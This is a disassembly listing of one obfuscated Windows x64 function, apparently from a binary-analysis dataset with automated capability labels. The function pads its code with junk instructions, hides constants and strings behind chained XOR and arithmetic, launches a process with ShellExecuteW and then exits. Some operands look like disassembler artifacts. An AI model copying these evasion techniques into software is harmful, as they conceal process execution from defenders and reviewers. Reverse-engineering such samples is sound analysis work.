Function at 0x140156b70
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
xchg rsi, rbx
mov qword [rsp + 8], rsi
xchg rbx, rsi
xchg rsi, r12
mov qword [rsp + 0x10], r12
xchg r12, rsi
push rbp
nop
sub rsp, 8
mov qword [rsp], rdi
push r12
nop
sub rsp, 8
mov qword [rsp], r14
nop
mov qword [rsp - 8], r15
sub rsp, 8
lea rbp, [rsp - 0x2070]
mov eax, 0x1d5fb517
add eax, 0x4428d3e9
sub eax, 0x170f3ec5
sub eax, 0x1a1493dc
add eax, 0x3de521d6
sub eax, 0x6e49b6c5
call fcn.1401fcb70
sub rsp, rax
xchg rsi, r15
mov rsi, rdx
xchg r15, rsi
mov r12, rcx
xor esi, esi
mov r14d, esi
mov dword [rbp + 0x20b0], esi
test r8b, r8b
je 0x14015748a
mov rcx, rdx
call fcn.140070260
cmp rax, 3
jb 0x140157325
lea edx, [rsi + 1]
xchg r15, r9
mov rcx, r9
xchg r9, r15
call fcn.14004e040
mov dl, SHCreateMemStream
xor dl, 0x34
sub dl, 0x23
add dl, 0xb
add dl, 0x44
xor dl, 0x33
add dl, 0x26
sub dl, 0x7d
mov rcx, rax
call fcn.14007dd40
test al, al
je 0x140157325
lea r9d, [rsi - 1]
lea r8d, [rsi + 0x1b]
lea rdx, [rbp - 0x20]
mov rcx, qword [r12]
call fcn.1401634a0
nop
mov rdi, qword [r12]
lea rcx, [rdi + 0x308]
call fcn.14007e900
xchg rsi, rax
mov rbx, rsi
xchg rsi, rax
lea edx, [rsi + 2]
xchg r8, rcx
mov r8, r15
xchg rcx, r8
call fcn.14004e040
lea rdx, [rbp - 0x80]
xchg rcx, rdx
mov rdx, rax
xchg rcx, rdx
call fcn.14007e340
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x28]
xchg rbx, rcx
mov rbx, rcx
xchg rbx, rcx
call fcn.1400525d0
nop
xchg rbp, rax
mov rcx, rbp
xchg rbp, rax
call fcn.140175a90
xchg rbx, rdi
mov rdi, rax
xchg rbx, rdi
lea rcx, [rbp - 0x20]
call fcn.14007b220
xchg r15, rbx
mov r9, r15
xchg rbx, r15
xchg r8, rax
mov rax, r8
xchg r8, rax
lea edx, [rsi + 0x40]
mov rcx, rdi
call fcn.14016ddc0
nop
lea rcx, [rbp + 0x28]
call fcn.140029c00
nop
lea rcx, [rbp - 0x80]
call fcn.14004c530
xchg rdx, rcx
mov rdx, r15
xchg rdx, rcx
call fcn.140070260
cmp rax, 4
jb 0x14015731c
mov rcx, qword [r12]
sub rcx, 0xfffffffffffffcf8
call fcn.14007e900
xchg rdi, rax
mov rbx, rdi
xchg rdi, rax
lea edx, [rsi + 3]
mov rcx, r15
call fcn.14004e040
lea rdx, [rsp + 0x60]
xchg r13, rcx
mov r13, rax
xchg rcx, r13
call fcn.14007e340
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
xchg rbx, rcx
mov rbx, rcx
xchg rbx, rcx
call fcn.1400525d0
nop
lea rcx, [rsp + 0x60]
call fcn.14004c530
lea rcx, [rbp - 0x60]
call fcn.1401789f0
cmp rax, 8
jb 0x14015709b
lea r9d, [rsi + 8]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call 0x140178a00
nop
mov dword [rbp + 0x20b0], 0x99654d
xor dword [rbp + 0x20b0], 0x4b089899
add dword [rbp + 0x20b0], 0x92b8df5
xor dword [rbp + 0x20b0], 0x582b17da
xor dword [rbp + 0x20b0], 0x2ef1bdaa
add dword [rbp + 0x20b0], 0x4460ca04
sub dword [rbp + 0x20b0], 0x66c7ebbc
xchg r14, rcx
mov r14, rax
xchg r14, rcx
call fcn.140175a90
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.14007aaf0
xchg r8, rbx
mov r8, rax
xchg rbx, r8
mov dword [rbp + 0x20b0], 0x39956d7f
xor dword [rbp + 0x20b0], 0x78b2dd3a
xor dword [rbp + 0x20b0], 0x43c30091
add dword [rbp + 0x20b0], 0x56e73be9
xor dword [rbp + 0x20b0], 0x1093322c
xor dword [rbp + 0x20b0], 0x4958de92
mov dword [rsp + 0x40], 0x76267fd
add dword [rsp + 0x40], 0xf671ccd
add dword [rsp + 0x40], 0x61638986
sub dword [rsp + 0x40], 0x191a967b
sub dword [rsp + 0x40], 0x12e45060
xor dword [rsp + 0x40], 0x37c1f97b
add dword [rsp + 0x40], 0x7b0718e8
mov dword [rsp + 0x4a], 0x186e3ccf
sub dword [rsp + 0x4a], 0x1b45cef
sub dword [rsp + 0x4a], 0x1593197
xor dword [rsp + 0x4a], 0x29ba2988
add dword [rsp + 0x4a], 0x3c0a27a
add dword [rsp + 0x4a], 0xbee3d537
mov dword [rsp + 0x4e], 0x9b1eb3f
add dword [rsp + 0x4e], 0x2ec438c
add dword [rsp + 0x4e], 0x30908e8e
add dword [rsp + 0x4e], 0x13597557
sub dword [rsp + 0x4e], 0x327a5896
xor dword [rsp + 0x4e], 0xe1772564
mov dword [rsp + 0x44], 0x5cdeb6a
add dword [rsp + 0x44], 0x6858c028
sub dword [rsp + 0x44], 0x444c7c4d
xor dword [rsp + 0x44], 0x206b9e93
add dword [rsp + 0x44], 0x2d56b334
add dword [rsp + 0x44], 0xbfee91ec
mov dword [rsp + 0x52], 0x64af7263
sub dword [rsp + 0x52], 0x546263c
xor dword [rsp + 0x52], 0xcea7d77
add dword [rsp + 0x52], 0x1dcc2d25
sub dword [rsp + 0x52], 0x4ecfad05
add dword [rsp + 0x52], 0x5412f3b2
add dword [rsp + 0x52], 0x88b25a5b
mov dword [rsp + 0x56], 0x43ece99d
sub dword [rsp + 0x56], 0x2497ef4
sub dword [rsp + 0x56], 0x325daf03
add dword [rsp + 0x56], 0x29389ef5
add dword [rsp + 0x56], 0x3afc6a02
sub dword [rsp + 0x56], 0x49333361
xor dword [rsp + 0x56], 0xd57e6e05
xor eax, eax
mov word [rsp + 0x5a], ax
mov edx, esi
movzx eax, word [rsp + rdx*2 + 0x4a]
movzx ecx, byte [rsp + rdx + 0x40]
add cx, ax
mov word [rsp + rdx*2 + 0x4a], cx
mov byte [rsp + rdx + 0x40], 0x6a
sub byte [rsp + rdx + 0x40], 0x3f
xor byte [rsp + rdx + 0x40], 0x17
add byte [rsp + rdx + 0x40], 0x1f
sub byte [rsp + rdx + 0x40], 0x3b
sub byte [rsp + rdx + 0x40], 0x20
inc rdx
cmp rdx, 8
jb 0x140156f70
mov dword [rbp + 0x20b0], 0x506583db
xor dword [rbp + 0x20b0], 0xd59d1d8
sub dword [rbp + 0x20b0], 0x3302900e
add dword [rbp + 0x20b0], 0x483b76b5
add dword [rbp + 0x20b0], 0xbebefbe
sub dword [rbp + 0x20b0], 0x5b63261e
xor dword [rbp + 0x20b0], 0x11b5aa15
xor dword [rbp + 0x20b0], 0x334ba858
movups xmm0, xmmword [rsp + 0x40]
xchg rcx, rbp
movaps xmmword [rcx - 0x40], xmm0
xchg rcx, rbp
movsd xmm1, qword [rsp + 0x50]
xchg r13, rbp
movsd qword [r13 - 0x30], xmm1
xchg rbp, r13
mov eax, dword [rsp + 0x58]
mov dword [rbp - 0x28], eax
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 8]
call fcn.14007c100
nop
mov r14d, 0x74dd0146
xor r14d, 0xb9ba3f9
sub r14d, 0x3ba1c3db
sub r14d, 0x19a3041e
add r14d, 0x117cd593
xor r14d, 0x3b7eb056
mov dword [rbp + 0x20b0], r14d
mov rdx, rax
xchg r14, rcx
mov r14, rbx
xchg r14, rcx
call fcn.14007b1b0
test al, al
je 0x14015709b
mov bl, 0x1d
xor bl, 0x5a
xor bl, 0x6d
add bl, 0x3a
xor bl, 8
sub bl, 0x51
xor bl, 0x2d
xor bl, 0x39
sub bl, 0xe
jmp 0x14015709d
xor bl, bl
test r14b, 8
je 0x1401570bc
and r14d, 0xfffffff7
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp - 8]
call fcn.14007aef0
nop
test r14b, 4
je 0x14015711f
and r14d, 0xfffffffb
mov dword [rbp + 0x20b0], r14d
xchg r12, rsi
mov rax, r12
xchg r12, rsi
nop word [rax + rax]
mov byte [rsp + rax + 0x4a], 0x51
sub byte [rsp + rax + 0x4a], 5
xor byte [rsp + rax + 0x4a], 0x76
sub byte [rsp + rax + 0x4a], 0x1c
sub byte [rsp + rax + 0x4a], 2
xor byte [rsp + rax + 0x4a], 0x25
add byte [rsp + rax + 0x4a], 0x3d
xor byte [rsp + rax + 0x4a], 0x1e
sub byte [rsp + rax + 0x4a], 0x68
inc rax
cmp rax, 0x10
jb 0x1401570e5
test r14b, 2
je 0x14015713e
and r14d, 0xfffffffd
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x10]
call fcn.14007aef0
nop
test r14b, 1
je 0x14015715c
and r14d, 0xfffffffe
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x48]
call fcn.140029c00
test bl, bl
je 0x140157312
lea rcx, [rbp - 0x60]
call fcn.140175a90
xchg r14, rax
mov r8, r14
xchg r14, rax
mov dword [rsp + 0x30], 0x2c5099e2
xor dword [rsp + 0x30], 0x654eca71
xor dword [rsp + 0x30], 0x67cb120b
sub dword [rsp + 0x30], 0x101e1a68
add dword [rsp + 0x30], 0x2d4a6c72
xor dword [rsp + 0x30], 0xbaf76554
mov dword [rsp + 0x36], 0x2a2555c2
sub dword [rsp + 0x36], 0x226faff0
xor dword [rsp + 0x36], 0x5a200167
xor dword [rsp + 0x36], 0x7fb7e739
add dword [rsp + 0x36], 0x4df53288
xor dword [rsp + 0x36], 0x14a14822
add dword [rsp + 0x36], 0x9ac4c143
mov dword [rsp + 0x3a], 0x7b0a2f3c
sub dword [rsp + 0x3a], 0x3aa174ab
xor dword [rsp + 0x3a], 0x736358e6
add dword [rsp + 0x3a], 0x268f088f
sub dword [rsp + 0x3a], 0x25f9b5ca
sub dword [rsp + 0x3a], 0x325bc218
add dword [rsp + 0x3a], 0x4a9c2f15
xor dword [rsp + 0x3a], 0xb4995d56
xor eax, eax
mov word [rsp + 0x3e], ax
xchg rsi, rax
mov rsi, rax
xchg rsi, rax
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x36]
movzx edx, byte [rsp + rax + 0x30]
add dx, cx
mov word [rsp + rax*2 + 0x36], dx
mov byte [rsp + rax + 0x30], 0xe
add byte [rsp + rax + 0x30], 0xd
xor byte [rsp + rax + 0x30], 0x20
xor byte [rsp + rax + 0x30], 0x21
xor byte [rsp + rax + 0x30], 0xf
add byte [rsp + rax + 0x30], 0x38
sub byte [rsp + rax + 0x30], 0x3b
sub byte [rsp + rax + 0x30], 0x12
inc rax
cmp rax, 4
jb 0x140157231
mov dword [rsp + 0x28], 0x1c42f96b
add dword [rsp + 0x28], 0x39a2120c
xor dword [rsp + 0x28], 0x641693e8
add dword [rsp + 0x28], 0x9e06af9
add dword [rsp + 0x28], 0x383a0519
sub dword [rsp + 0x28], 0x25da64dc
add dword [rsp + 0x28], 0x14ea84db
add dword [rsp + 0x28], 0x115923d6
sub dword [rsp + 0x28], 0x74774c85
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rsp + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax]
mov byte [rsp + rsi + 0x36], reloc.SHLWAPI.dll_SHCreateMemStream
add byte [rsp + rsi + 0x36], 0x32
sub byte [rsp + rsi + 0x36], 0x20
add byte [rsp + rsi + 0x36], 0x14
add byte [rsp + rsi + 0x36], 7
xor byte [rsp + rsi + 0x36], 0x15
xor byte [rsp + rsi + 0x36], 0x1b
add byte [rsp + rsi + 0x36], 0x17
sub byte [rsp + rsi + 0x36], 0x4e
inc rsi
cmp rsi, 8
jb 0x1401572d8
lea rcx, [rbp - 0x60]
call fcn.140029c00
nop
lea rcx, [rbp - 0x20]
jmp 0x140157485
mov r9d, 0x6fe82ab2
xor r9d, 0x312e77fa
sub r9d, 0x1120ec49
add r9d, 0xab527c8
xor r9d, 0x7db74800
xor r9d, 0x37374706
xor r9d, 0xed25683e
lea r8d, [r9 + 0x1c]
lea rdx, [rbp - 0x80]
mov rcx, qword [r12]
call fcn.1401634a0
nop
mov r9d, 0x2f5894b7
xor r9d, 0x3fc4811
xor r9d, 0x1b062115
add r9d, 0x471f4c1e
sub r9d, 0x7caa4c3e
add r9d, 0x449edad6
add r9d, 0xb9492796
lea r8d, [r9 + 0x1d]
lea rdx, [rsp + 0x60]
xchg r9, rcx
mov r9, qword [r12]
xchg r9, rcx
call fcn.1401634a0
nop
xor edx, edx
mov r8d, 0x60f5644
xor r8d, 0x50e562f8
sub r8d, 0x37b1ac85
xor r8d, 0x67f74c6
xor r8d, 0x12208af2
sub r8d, 0xb675603
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
xchg r9, rcx
mov r9, qword [r12]
xchg rcx, r9
neg rcx
add rcx, 0xfffffffffffffaa0
neg rcx
call fcn.14007b620
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
lea rcx, [rsp + 0x60]
call fcn.14007b620
xchg r8, rbx
mov rbx, r8
xchg r8, rbx
xchg r9, rdx
mov r9, rax
xchg rdx, r9
lea rcx, [rbp + 0x70]
call fcn.140086c60
mov rbx, qword [r12]
lea rcx, [rbp - 0x80]
call fcn.14007b220
lea r9, [rbp + 0x70]
xchg rdi, rax
mov r8, rdi
xchg rdi, rax
mov edx, 0x7ceb3667
sub edx, 0x50afaeb7
add edx, 0x12ac419
add edx, 0x170c5698
xor edx, 0xcca9eb9
sub edx, 0x48b83c98
xchg rcx, r8
mov r8, rbx
xchg rcx, r8
call fcn.14016ddc0
nop
lea rcx, [rsp + 0x60]
call fcn.14007aef0
nop
lea rcx, [rbp - 0x80]
call fcn.14007aef0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3